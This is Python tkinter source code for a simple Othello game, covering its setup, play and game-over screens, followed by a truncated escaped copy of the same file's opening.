def Replay(self): # Clean up the old game, start an new one
self.Pages["Pregame"].__GUI_Reset__()
self.Pages["Game"].Reset_Game()
self.Handler.Replay()
self.showPage("Pregame")
class Pregame (tk.Frame): # The 'home' screen
FrameName = "Pregame"
def __init__ (self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg="white")
self.set_vals = []
self.__GUI_Reset__()
def __GUI_Reset__(self): # This will clean the screen and then recreate it, this is essential for replaying the game
for widget in self.winfo_children():
widget.destroy()
# Title Banner
tk.Label(self, text="Otello", font=FONTS["large"], bg="white").pack(side="top")
Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10)
# Rule Set
rule_set_frame = tk.Frame(self, bg="white")
rule_set_frame.pack(pady=10)
# Subheading
self.rs_label = tk.Label(rule_set_frame, text="Rule Set", font=FONTS["medium"], bg="white")
self.rs_label.pack(side="top")
self.full_btn = tk.Button(rule_set_frame, text="FULL", font=FONTS["medium"], bg="#bbbbbb",
command=lambda:self.Select_Rule_Set("full"))
self.full_btn.pack()
self.simple_btn = tk.Button(rule_set_frame, text="SIMPLE", font=FONTS["medium"], bg="#bbbbbb",
command=lambda:self.Select_Rule_Set("simple"))
self.simple_btn.pack()
# Row Size
row_frame = tk.Frame(self, bg="white")
row_frame.pack(pady=10)
self.row_label = tk.Label(row_frame, text="Board Rows", font=FONTS["medium"], bg="white")
self.row_label.grid(row=0, column=0, columnspan=7)
self.Rows_Buttons = []
place = 0
for rows in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(row_frame, text=str(rows), font=FONTS["small"], bg="#bbbbbb",
command=lambda rows=rows: self.Select_Rows(rows))
x.grid(row=1, column=place)
self.Rows_Buttons.append(x)
place += 1
# Column Size
col_frame = tk.Frame(self, bg="white")
col_frame.pack(pady=10)
self.col_label = tk.Label(col_frame, text="Board Columns", font=FONTS["medium"], bg="white")
self.col_label.grid(row=0, column=0, columnspan=7)
self.Cols_Buttons = []
place = 0
for cols in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(col_frame, text=str(cols), font=FONTS["small"], bg="#bbbbbb",
command=lambda cols=cols: self.Select_Cols(cols))
x.grid(row=1, column=place)
self.Cols_Buttons.append(x)
place += 1
# First to Move
first_move_frame = tk.Frame(self, bg="white")
first_move_frame.pack(pady=10)
self.first_move_label = tk.Label(first_move_frame, text="First to move", bg="white", font=FONTS["medium"])
self.first_move_label.grid(row=0, column=0, columnspan=2)
self.black_btn = tk.Button(first_move_frame, text="Black", bg="#bbbbbb", font=FONTS["medium"],
command=lambda:self.Select_First_Move("black"))
self.black_btn.grid(row=1, column=0)
self.white_btn = tk.Button(first_move_frame, text="White", bg="#bbbbbb", font=FONTS["medium"],
command=lambda:self.Select_First_Move("white"))
self.white_btn.grid(row=1, column=1)
# How to win
condition_frame = tk.Frame(self, bg="white")
condition_frame.pack(pady=10)
self.condition_label = tk.Label(condition_frame, text="The winner is, the player with..",
bg="white", font=FONTS["medium"])
self.condition_label.grid(row=0, column=0, columnspan=2)
self.greater_score = tk.Button(condition_frame, text="more discs.", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Select_Condition(">"))
self.greater_score.grid(row=1, column=0)
self.lesser_score = tk.Button(condition_frame, text="less discs.", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Select_Condition("<"))
self.lesser_score.grid(row=1, column=1)
# Start the game button
self.Start_Game_Btn = tk.Button(self, text="Start", bg="#ff2222", activebackground="#992222",
font=FONTS["medium"])
self.Start_Game_Btn.pack(side="bottom")
def Select_Rule_Set(self, _set: str): # sets the rule set of the game
if _set == "simple":
self.controller.Handler.GameParams["game_type"] = 1 # Corresponds to the game logic
else:
self.controller.Handler.GameParams["game_type"] = 2
self.full_btn.destroy()
self.simple_btn.destroy()
self.rs_label.configure(text="Rule Set: " + _set.upper())
self.set_vals.append("rules")
self.Check_Can_Start()
def Select_Rows(self, rows: int): # Sets the rows of the board
self.controller.Handler.GameParams["y_size"] = rows
for button in self.Rows_Buttons:
button.destroy()
self.row_label.configure(text="Board Rows: " + str(rows))
self.set_vals.append("rows")
self.Check_Can_Start()
def Select_Cols(self, cols: int): # sets the columns of the board
self.controller.Handler.GameParams["x_size"] = cols
for button in self.Cols_Buttons:
button.destroy()
self.col_label.configure(text="Board Columns: " + str(cols))
self.set_vals.append("cols")
self.Check_Can_Start()
def Select_First_Move (self, mover: str): # Sets the first player to make a move
if mover == "black":
self.controller.Handler.GameParams["first_move"] = "B"
else:
self.controller.Handler.GameParams["first_move"] = "W"
self.black_btn.destroy()
self.white_btn.destroy()
self.first_move_label.configure(text="First to move: " + mover)
self.set_vals.append("move")
self.Check_Can_Start()
def Select_Condition(self, condition: str):# This will set the game win condition
self.controller.Handler.GameParams["game_winner"] = condition
if condition == ">":
self.condition_label.configure(text="The winner is, the player with more discs.")
else:
self.condition_label.configure(text="The winner is, the player with less discs.")
self.lesser_score.destroy()
self.greater_score.destroy()
self.set_vals.append("win")
self.Check_Can_Start()
def Check_Can_Start (self): # This will start the game if the game can be started
if "rules" in self.set_vals and\
"rows" in self.set_vals and\
"cols" in self.set_vals and\
"move" in self.set_vals and\
"win" in self.set_vals:
self.Start_Game_Btn.configure(bg="#22ff22", activebackground="#229922",
command=lambda: self.Start_Custom_Board())
def Start_Custom_Board (self):
self.controller.Pages["Setup_Board"].Setup_Board()
self.controller.showPage("Setup_Board")
self.controller.Pages["Setup_Board"].Instructions_Display()
class Custom_Board (tk.Frame):
FrameName = "Setup_Board"
def __init__ (self, parent, controller):
tk.Frame.__init__ (self, parent)
self.controller = controller
self.configure(bg="white")
# Title bar
self.Title_Frame = tk.Frame(self, bg="white")
self.Title_Frame.pack(side="top", fill="x")
# Title
tk.Label(self.Title_Frame, text="Create Custom Board", bg="white", font=FONTS["medium"]).pack(side="left")
# Start Button
start = tk.Button(self.Title_Frame, text="Play", bg="#22ff22", activebackground="#229922", font=FONTS["medium"],
command=lambda: self.Start())
start.pack(side="right")
# Use custom Board check button
self.Use_Board = tk.IntVar()
Use_Board = tk.Checkbutton(self.Title_Frame, text="Use custom board", font=FONTS["medium"],
bg="white", activebackground="white",
var=self.Use_Board, onvalue=1, offvalue=0)
Use_Board.pack(side="right", padx=10)
# Board
self.Board_Area = tk.Frame(self, bg="#009900")
self.Board_Area.pack(side="top", fill="both", expand=True)
self.Board = []
def Setup_Board (self):
for widget in self.Board_Area.winfo_children():
widget.destroy()
self.Board = []
for y in range(self.controller.Handler.GameParams["y_size"]):
row = []
for x in range(self.controller.Handler.GameParams["x_size"]):
# Diameter with respond to the length of the shortest side of the board
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width/self.controller.Handler.GameParams["x_size"]
else:
diameter = height/self.controller.Handler.GameParams["y_size"]
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, mode="setup")
disc.grid(row=y, column=x, sticky="nsew")
row.append(disc)
self.Board.append(row)
def Parse_Board (self) -> list: # This will parse the GUI board and create a board that will work for the Game()
new_board = []
for row in self.Board:
new_row = []
for disc in row:
if disc.Current_Color == "white":
new_row.append("W")
elif disc.Current_Color == "black":
new_row.append("B")
else:
new_row.append(None)
new_board.append(new_row)
return new_board
def Instructions_Display(self):
showinfo("How to use", "Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!")
def Start (self): # This will check if the user wants to use a custom board and then will set Game board to be the users selection
if self.Use_Board.get():
self.controller.Handler.GameParams["board"] = self.Parse_Board()
self.controller.Begin_Game()
self.controller.Pages["Game"].__GUI_init__()
self.controller.Pages["Game"].Update_Board()
self.controller.showPage("Game")
class Game (tk.Frame): # This is the 'stage' where the game will be played.
FrameName = "Game"
def __init__ (self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg="white")
# Status Bar
self.Status_Bar = tk.Frame(self, bg="white")
self.Status_Bar.pack(side="top", fill="x")
self.Status_Bar.grid_columnconfigure(0, weight=1)
self.Status_Bar.grid_columnconfigure(1, weight=1)
self.Status_Bar.grid_columnconfigure(2, weight=1)
self.Status_Bar.grid_rowconfigure(0, weight=1)
self.Current_Player = tk.Label(self.Status_Bar, text="None", bg="white", font=FONTS["medium"])
self.Current_Player.grid(row=0, column=0)
self.Game_Type = tk.Label(self.Status_Bar, text="FULL", bg="white", font=FONTS["medium"])
self.Game_Type.grid(row=0, column=1)
self.Score = tk.Label(self.Status_Bar, text="Black: 2 | 2:White", bg="white", font=FONTS["medium"])
self.Score.grid(row=0, column=2)
# Board
self.Board_Area = tk.Frame(self, bg="#009900")
self.Board_Area.pack(side="top", fill="both", expand=True)
self.Board = []
def __GUI_init__ (self): # This will initiate the game board once all the datya is provided.
for y in range(self.controller.Handler.GameParams["y_size"]):
row = []
for x in range(self.controller.Handler.GameParams["x_size"]):
# Diameter with respond to the length of the shortest side of the board
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width/self.controller.Handler.GameParams["x_size"]
else:
diameter = height/self.controller.Handler.GameParams["y_size"]
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter,
command= lambda x=x, y=y: self.Disc_Function(x, y))
disc.grid(row=y, column=x, sticky="nsew")
row.append(disc)
self.Board.append(row)
self.Update_Board()
def Reset_Game(self): #This will reset the game board to its initial state
self.Board = []
for widget in self.Board_Area.winfo_children():
widget.destroy()
def Disc_Function (self, x: int, y: int): # This is the function run when the player clicks a disc slot/disc
if not self.controller.Handler.Move(x+1, y+1): # Try run the Move function on the Handler
self.Invalid_Move()
def Invalid_Move(self): # This command will run when a player tries to make a move thats not possible
showerror("Invalid Move", "You cannot move there!")
def Update_Board (self): # Update the board to mathe the Game() board
for y in range(len(self.Board)):
for x in range(len(self.Board[y])):
game_piece = self.controller.Handler.Game.Board[y][x]
if game_piece == None:
pass
elif game_piece == "B":
if self.Board[y][x].Current_Color != "black":
self.Board[y][x].Set_Piece_Color("black")
elif game_piece == "W":
if self.Board[y][x].Current_Color != "white":
self.Board[y][x].Set_Piece_Color("white")
def Update_Current_Player (self): # Update the current player identifier
self.Current_Player.config(text="Turn: " + self.controller.Get_Current_Player())
def Update_Game_Type(self): # Update the game type identifier
g_type = self.controller.Handler.Get_Game_Type()
self.Game_Type.configure(text="Rules: " + g_type)
def Update_Score (self): # Update the score identifier
b, w = self.controller.Handler.Get_Score()
self.Score.configure(text="Black: {0!s} | {1!s} :White".format(b, w))
def Full_Update(self): # Run a full update on the graphics
self.Update_Score()
self.Update_Current_Player()
self.Update_Board()
class Postgame (tk.Frame): # The 'end game' screen
FrameName = "Postgame"
def __init__ (self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg="white")
# Set a page title
self.Title = tk.Label(self, text="Game Over!", bg="white", font=FONTS["large"])
self.Title.pack(side="top")
Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10)
# Set the winner text object
self.Winner = tk.Label(self, text="The winner is black-discs.", bg="white", font=FONTS["medium"])
self.Winner.pack(side="top")
# Create the replay and exit buttons
self.Buttons = tk.Frame(self, bg="white")
self.Buttons.pack()
Replay = tk.Button(self.Buttons, text="Replay", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Replay())
Replay.grid(row=0, column=0)
Quit = tk.Button(self.Buttons, text="Quit", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Quit())
Quit.grid(row=0, column=1)
# the area for the board output
self.Board_Area = tk.Frame(self, bg="white")
self.Board_Area.pack(side="bottom")
# Score text
self.Score = tk.Label(self.Board_Area, text="", bg="white", font=FONTS["medium"])
self.Score.pack()
# The display for the board
self.Board_Display = tk.Frame(self.Board_Area, bg="green")
self.Board_Display.pack()
self.Board = []
def Replay(self): # Initiate the Replay
self.controller.Replay()
def Quit(self): # Kill the game
self.controller.destroy()
exit()
def Update_Board (self): # Update the game board display, kill old, create new
for widget in self.Board_Display.winfo_children():
widget.destroy()
for y in range(self.controller.Handler.GameParams["y_size"]):
row = []
for x in range(self.controller.Handler.GameParams["x_size"]):
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
col = None
place_col = self.controller.Handler.Game.Board[y][x]
if place_col == "B":
col = "black"
elif place_col == "W":
col = "white"
disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50)
disc.grid(row=y, column=x, sticky="nsew")
row.append(disc)
self.Board.append(row)
def Update(self): # Update the whole page
winner, scores = self.controller.Handler.Get_Winner()
if winner.lower() == "b":
winner = "black-discs"
elif winner.lower() == "w":
winner = "white-discs"
else:
winner == "no one"
self.Winner.configure(text="The winner is " + winner)
self.Score.configure(text="Black: {0!s} | {1!s}:White".format(scores[0], scores[1]))
self.Update_Board()
if __name__ == "__main__":
Window = Handler()
|
[
"import tkinter \t\tas tk\nimport Widgets \t\tas wg\nimport Logic \t\tas lgc\nfrom tkinter.ttk \timport Separator\nfrom tkinter.messagebox import showerror, showinfo\n\n# Fonts that we can utilise\nFONTS = {\"large\":(\"Helvetica\", 20), \"medium\":(\"Helvetica\", 16), \"small\":(\"Helvetica\", 12)}\n\nclass Handler: # Handles the window and the Game interaction\n\tdef __init__(self):\n\n\t\t# Game Handle\n\t\tself.Game = None\n\t\tself.GameParams = {}\n\n\t\t# Window Handle\n\t\tself.Window = Window(self)\n\t\tself.Window.mainloop()\n\n\tdef Replay (self): # Reset attributes and classes\n\t\tself.GameParams = {}\n\t\tdel self.Game\n\t\tself.Game = None\n\t\t\n\tdef Is_Running (self):\n\t\treturn self.Game.Running\n\n\tdef Start_Game(self): # Begin the game, run the updates needed.\n\t\tself.Game = lgc.Game(**self.GameParams)\n\t\tself.Game.Start_Game()\n\n\t\t# Update Game page\n\t\tself.Update_Game()\n\t\tself.Window.Pages[\"Game\"].Update_Game_Type()\n\n\tdef Get_Current_Player(self) -> str: # get the current player whose turn it is\n\t\tif self.Game.Running:\n\t\t\tif self.Game.Current_Player == \"B\":\n\t\t\t\treturn \"black\"\n\t\t\telse:\n\t\t\t\treturn \"white\"\n\t\telse:\n\t\t\treturn \"None\"\n\n\tdef Get_Game_Type(self) -> str: # Get the game rule type\n\t\tg = self.Game.Game_Type\n\t\tif g == 1:\n\t\t\treturn \"SIMPLE\"\n\t\telse:\n\t\t\treturn \"FULL\"\n\n\tdef Get_Score(self) -> tuple: # Get the current score\n\t\ts = self.Game.Get_Discs()\n\t\treturn s[0], s[1] # b, w\n\n\tdef Move(self, x: int, y: int) -> bool: # Make a move on a given place\n\t\tcomplete = self.Game.Next_Move(x, y)\n\t\tif complete:\n\t\t\tself.Update_Game()\n\t\t\tself.Game_Complete_Check()\n\t\t\treturn True\n\t\tself.Update_Game()\n\t\tself.Game_Complete_Check()\n\t\treturn False\n\n\tdef Get_Winner(self) -> tuple: # Gets the winner of the game\n\t\treturn self.Game.Check_Winner()\n\n\tdef Game_Complete_Check(self): # Check if the game is over and act accordingly\n\t\tif self.Is_Running() == False:\n\t\t\t# Run Game Over feature here\n\t\t\tself.Window.showPage(\"Postgame\")\n\t\t\t# Update the post page\n\t\t\tself.Window.Pages[\"Postgame\"].Update()\n\n\tdef Update_Game(self): # Run a full update on the game\n\t\tself.Window.Pages[\"Game\"].Full_Update()\n\nclass Window (tk.Tk): # This will be the main window of the GUI\n\tdef __init__ (self, controller, *args, **kwargs):\n\t\ttk.Tk.__init__(self, *args, **kwargs)\n\n\t\tself.Handler = controller # This is handler between the game and window\n\n\t\t# Root attributes\n\t\tself.title(\"Othello\")\n\t\t\n\t\ttry:\n\t\t\tself.iconbitmap(\"Icon.ico\")\n\t\texcept:\n\t\t\tpass\n\n\t\tself.minsize(600, 600)\n\t\t#self.maxsize(1000,1000)\n\n\t\t# Master frame\n\t\tself.container = tk.Frame(self)\n\t\tself.container.pack(side=\"top\", fill=\"both\", expand=True)\n\t\tself.container.grid_rowconfigure(0, weight=1)\n\t\tself.container.grid_columnconfigure(0, weight=1)\n\n\t\t# Set up the pages\n\t\tself.Pages = {}\n\t\tfor page in (Pregame, Custom_Board, Game, Postgame):\n\t\t\t# Initiate each page and add them to the dictionary\n\t\t\t# Dictionary will use the name of the class so that it can be accessed\n\t\t\t# without the knowledge of the clas name\n\t\t\tnew = page(self.container, self)\n\t\t\tself.Pages[page.FrameName] = new\n\t\t\tnew.grid(row=0, column=0, sticky=\"nsew\")\n\n\t\t# Show the initial page\n\t\tself.showPage(\"Pregame\")\n\n\t# Window\n\n\tdef showPage(self, pagename: str): # Show a chosen page\n\t\tpage = self.Pages[pagename]\n\t\tpage.tkraise()\n\n\t# Game\n\tdef Begin_Game(self): # Start the game\n\t\tself.Handler.Start_Game()\n\n\tdef Get_Current_Player (self) -> str: # Get the current player\n\t\treturn self.Handler.Get_Current_Player()\n\n\tdef Replay(self): # Clean up the old game, start an new one\n\t\tself.Pages[\"Pregame\"].__GUI_Reset__()\n\t\tself.Pages[\"Game\"].Reset_Game()\n\t\tself.Handler.Replay()\n\t\tself.showPage(\"Pregame\")\n\nclass Pregame (tk.Frame): # The 'home' screen\n\tFrameName = \"Pregame\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\t\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\tself.set_vals = []\n\n\t\tself.__GUI_Reset__()\n\n\tdef __GUI_Reset__(self): # This will clean the screen and then recreate it, this is essential for replaying the game\n\t\tfor widget in self.winfo_children():\n\t\t\twidget.destroy()\n\n\t\t# Title Banner\n\t\ttk.Label(self, text=\"Otello\", font=FONTS[\"large\"], bg=\"white\").pack(side=\"top\")\n\t\tSeparator(self, orient=\"horizontal\").pack(side=\"top\", fill=\"x\", padx=10)\n\n\t\t# Rule Set\n\t\trule_set_frame = tk.Frame(self, bg=\"white\")\n\t\trule_set_frame.pack(pady=10)\n\t\t# Subheading\n\t\tself.rs_label = tk.Label(rule_set_frame, text=\"Rule Set\", font=FONTS[\"medium\"], bg=\"white\")\n\t\tself.rs_label.pack(side=\"top\")\n\n\t\tself.full_btn = tk.Button(rule_set_frame, text=\"FULL\", font=FONTS[\"medium\"], bg=\"#bbbbbb\",\n\t\t\tcommand=lambda:self.Select_Rule_Set(\"full\"))\n\t\tself.full_btn.pack()\n\n\t\tself.simple_btn = tk.Button(rule_set_frame, text=\"SIMPLE\", font=FONTS[\"medium\"], bg=\"#bbbbbb\",\n\t\t\tcommand=lambda:self.Select_Rule_Set(\"simple\"))\n\t\tself.simple_btn.pack()\n\n\t\t# Row Size\n\t\trow_frame = tk.Frame(self, bg=\"white\")\n\t\trow_frame.pack(pady=10)\n\n\t\tself.row_label = tk.Label(row_frame, text=\"Board Rows\", font=FONTS[\"medium\"], bg=\"white\")\n\t\tself.row_label.grid(row=0, column=0, columnspan=7)\n\n\t\tself.Rows_Buttons = []\n\n\t\tplace = 0\n\t\tfor rows in [4, 6, 8, 10, 12, 14, 16]:\n\t\t\tx = tk.Button(row_frame, text=str(rows), font=FONTS[\"small\"], bg=\"#bbbbbb\",\n\t\t\t\tcommand=lambda rows=rows: self.Select_Rows(rows))\n\t\t\tx.grid(row=1, column=place)\n\t\t\tself.Rows_Buttons.append(x)\n\t\t\tplace += 1\n\n\t\t# Column Size\n\t\tcol_frame = tk.Frame(self, bg=\"white\")\n\t\tcol_frame.pack(pady=10)\n\n\t\tself.col_label = tk.Label(col_frame, text=\"Board Columns\", font=FONTS[\"medium\"], bg=\"white\")\n\t\tself.col_label.grid(row=0, column=0, columnspan=7)\n\n\t\tself.Cols_Buttons = []\n\n\t\tplace = 0\n\t\tfor cols in [4, 6, 8, 10, 12, 14, 16]:\n\t\t\tx = tk.Button(col_frame, text=str(cols), font=FONTS[\"small\"], bg=\"#bbbbbb\",\n\t\t\t\tcommand=lambda cols=cols: self.Select_Cols(cols))\n\t\t\tx.grid(row=1, column=place)\n\t\t\tself.Cols_Buttons.append(x)\n\t\t\tplace += 1\n\n\t\t# First to Move\n\t\tfirst_move_frame = tk.Frame(self, bg=\"white\")\n\t\tfirst_move_frame.pack(pady=10)\n\n\t\tself.first_move_label = tk.Label(first_move_frame, text=\"First to move\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.first_move_label.grid(row=0, column=0, columnspan=2)\n\n\t\tself.black_btn = tk.Button(first_move_frame, text=\"Black\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda:self.Select_First_Move(\"black\"))\n\t\tself.black_btn.grid(row=1, column=0)\n\n\t\tself.white_btn = tk.Button(first_move_frame, text=\"White\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda:self.Select_First_Move(\"white\"))\n\t\tself.white_btn.grid(row=1, column=1)\n\n\t\t# How to win\n\t\tcondition_frame = tk.Frame(self, bg=\"white\")\n\t\tcondition_frame.pack(pady=10)\n\n\t\tself.condition_label = tk.Label(condition_frame, text=\"The winner is, the player with..\",\n\t\t\tbg=\"white\", font=FONTS[\"medium\"])\n\t\tself.condition_label.grid(row=0, column=0, columnspan=2)\n\n\t\tself.greater_score = tk.Button(condition_frame, text=\"more discs.\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Select_Condition(\">\"))\n\t\tself.greater_score.grid(row=1, column=0)\n\n\t\tself.lesser_score = tk.Button(condition_frame, text=\"less discs.\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Select_Condition(\"<\"))\n\t\tself.lesser_score.grid(row=1, column=1)\n\n\n\t\t# Start the game button\n\t\tself.Start_Game_Btn = tk.Button(self, text=\"Start\", bg=\"#ff2222\", activebackground=\"#992222\",\n\t\t\t\t\t\t\t\t\tfont=FONTS[\"medium\"])\n\t\tself.Start_Game_Btn.pack(side=\"bottom\")\n\n\tdef Select_Rule_Set(self, _set: str): # sets the rule set of the game\n\t\tif _set == \"simple\":\n\t\t\tself.controller.Handler.GameParams[\"game_type\"] = 1 # Corresponds to the game logic\n\t\telse:\n\t\t\tself.controller.Handler.GameParams[\"game_type\"] = 2\n\n\t\tself.full_btn.destroy()\n\t\tself.simple_btn.destroy()\n\t\tself.rs_label.configure(text=\"Rule Set: \" + _set.upper())\n\n\t\tself.set_vals.append(\"rules\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_Rows(self, rows: int): # Sets the rows of the board\n\t\tself.controller.Handler.GameParams[\"y_size\"] = rows\n\n\t\tfor button in self.Rows_Buttons:\n\t\t\tbutton.destroy()\n\n\t\tself.row_label.configure(text=\"Board Rows: \" + str(rows))\n\n\t\tself.set_vals.append(\"rows\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_Cols(self, cols: int): # sets the columns of the board\n\t\tself.controller.Handler.GameParams[\"x_size\"] = cols\n\n\t\tfor button in self.Cols_Buttons:\n\t\t\tbutton.destroy()\n\n\t\tself.col_label.configure(text=\"Board Columns: \" + str(cols))\n\t\t\n\t\tself.set_vals.append(\"cols\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_First_Move (self, mover: str): # Sets the first player to make a move\n\t\tif mover == \"black\":\n\t\t\tself.controller.Handler.GameParams[\"first_move\"] = \"B\"\n\t\telse:\n\t\t\tself.controller.Handler.GameParams[\"first_move\"] = \"W\"\n\n\t\tself.black_btn.destroy()\n\t\tself.white_btn.destroy()\n\n\t\tself.first_move_label.configure(text=\"First to move: \" + mover)\n\n\t\tself.set_vals.append(\"move\")\n\t\tself.Check_Can_Start()\n\n\tdef Select_Condition(self, condition: str):# This will set the game win condition\n\t\tself.controller.Handler.GameParams[\"game_winner\"] = condition\n\n\t\tif condition == \">\":\n\t\t\tself.condition_label.configure(text=\"The winner is, the player with more discs.\")\n\t\telse:\n\t\t\tself.condition_label.configure(text=\"The winner is, the player with less discs.\")\n\n\t\tself.lesser_score.destroy()\n\t\tself.greater_score.destroy()\n\n\t\tself.set_vals.append(\"win\")\n\t\tself.Check_Can_Start()\n\n\tdef Check_Can_Start (self): # This will start the game if the game can be started\n\t\tif \"rules\" in self.set_vals and\\\n\t\t \"rows\" in self.set_vals and\\\n\t\t \"cols\" in self.set_vals and\\\n\t\t \"move\" in self.set_vals and\\\n\t\t \"win\" in self.set_vals:\n\t\t self.Start_Game_Btn.configure(bg=\"#22ff22\", activebackground=\"#229922\",\n\t\t \tcommand=lambda: self.Start_Custom_Board())\n\n\tdef Start_Custom_Board (self):\n\t\tself.controller.Pages[\"Setup_Board\"].Setup_Board()\n\t\tself.controller.showPage(\"Setup_Board\")\n\t\tself.controller.Pages[\"Setup_Board\"].Instructions_Display()\n\nclass Custom_Board (tk.Frame):\n\tFrameName = \"Setup_Board\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__ (self, parent)\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\t# Title bar\n\t\tself.Title_Frame = tk.Frame(self, bg=\"white\")\n\t\tself.Title_Frame.pack(side=\"top\", fill=\"x\")\n\n\t\t# Title\n\t\ttk.Label(self.Title_Frame, text=\"Create Custom Board\", bg=\"white\", font=FONTS[\"medium\"]).pack(side=\"left\")\n\n\t\t# Start Button\n\t\tstart = tk.Button(self.Title_Frame, text=\"Play\", bg=\"#22ff22\", activebackground=\"#229922\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda: self.Start())\n\t\tstart.pack(side=\"right\")\t\t\n\n\n\t\t# Use custom Board check button\n\t\tself.Use_Board = tk.IntVar()\n\n\t\tUse_Board = tk.Checkbutton(self.Title_Frame, text=\"Use custom board\", font=FONTS[\"medium\"],\n\t\t\tbg=\"white\", activebackground=\"white\",\n\t\t\tvar=self.Use_Board, onvalue=1, offvalue=0)\n\t\tUse_Board.pack(side=\"right\", padx=10)\n\n\t\t\n\t\t# Board\n\t\tself.Board_Area = tk.Frame(self, bg=\"#009900\")\n\t\tself.Board_Area.pack(side=\"top\", fill=\"both\", expand=True)\n\n\t\tself.Board = []\n\n\tdef Setup_Board (self):\n\t\tfor widget in self.Board_Area.winfo_children():\n\t\t\twidget.destroy()\n\t\tself.Board = []\n\n\t\t\n\t\tfor y in range(self.controller.Handler.GameParams[\"y_size\"]):\n\t\t\trow = []\n\t\t\tfor x in range(self.controller.Handler.GameParams[\"x_size\"]):\n\t\t\t\t# Diameter with respond to the length of the shortest side of the board\n\t\t\t\theight = self.Board_Area.winfo_height()\n\t\t\t\twidth = self.Board_Area.winfo_width()\n\n\t\t\t\tif height > width:\n\t\t\t\t\tdiameter = width/self.controller.Handler.GameParams[\"x_size\"]\n\t\t\t\telse:\n\t\t\t\t\tdiameter = height/self.controller.Handler.GameParams[\"y_size\"]\n\n\t\t\t\tself.Board_Area.grid_columnconfigure(x, weight=1)\n\t\t\t\tself.Board_Area.grid_rowconfigure(y, weight=1)\n\n\t\t\t\tdisc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, mode=\"setup\")\n\t\t\t\tdisc.grid(row=y, column=x, sticky=\"nsew\")\n\t\t\t\trow.append(disc)\n\n\t\t\tself.Board.append(row)\n\n\tdef Parse_Board (self) -> list: # This will parse the GUI board and create a board that will work for the Game()\n\t\tnew_board = []\n\t\tfor row in self.Board:\n\t\t\tnew_row = []\n\t\t\tfor disc in row:\n\t\t\t\tif disc.Current_Color == \"white\":\n\t\t\t\t\tnew_row.append(\"W\")\n\t\t\t\telif disc.Current_Color == \"black\":\n\t\t\t\t\tnew_row.append(\"B\")\n\t\t\t\telse:\n\t\t\t\t\tnew_row.append(None)\n\t\t\tnew_board.append(new_row)\n\n\t\treturn new_board\n\n\tdef Instructions_Display(self):\n\t\tshowinfo(\"How to use\", \"Click on a tile to cycle between white, black or empty. Check the \\\"Use Custom Board\\\" box to use this board!\")\n\n\tdef Start (self): # This will check if the user wants to use a custom board and then will set Game board to be the users selection\n\t\tif self.Use_Board.get():\n\t\t\tself.controller.Handler.GameParams[\"board\"] = self.Parse_Board()\n\t\tself.controller.Begin_Game()\n\t\tself.controller.Pages[\"Game\"].__GUI_init__()\n\t\tself.controller.Pages[\"Game\"].Update_Board()\n\t\tself.controller.showPage(\"Game\")\n\nclass Game (tk.Frame): # This is the 'stage' where the game will be played.\n\tFrameName = \"Game\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\t# Status Bar\n\t\tself.Status_Bar = tk.Frame(self, bg=\"white\")\n\t\tself.Status_Bar.pack(side=\"top\", fill=\"x\")\n\n\t\tself.Status_Bar.grid_columnconfigure(0, weight=1)\n\t\tself.Status_Bar.grid_columnconfigure(1, weight=1)\n\t\tself.Status_Bar.grid_columnconfigure(2, weight=1)\n\t\tself.Status_Bar.grid_rowconfigure(0, weight=1)\n\n\t\tself.Current_Player = tk.Label(self.Status_Bar, text=\"None\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Current_Player.grid(row=0, column=0)\n\n\t\tself.Game_Type = tk.Label(self.Status_Bar, text=\"FULL\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Game_Type.grid(row=0, column=1)\n\n\t\tself.Score = tk.Label(self.Status_Bar, text=\"Black: 2 | 2:White\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.Score.grid(row=0, column=2)\n\n\t\t# Board\n\t\tself.Board_Area = tk.Frame(self, bg=\"#009900\")\n\t\tself.Board_Area.pack(side=\"top\", fill=\"both\", expand=True)\n\n\t\tself.Board = []\n\n\tdef __GUI_init__ (self): # This will initiate the game board once all the datya is provided.\n\t\tfor y in 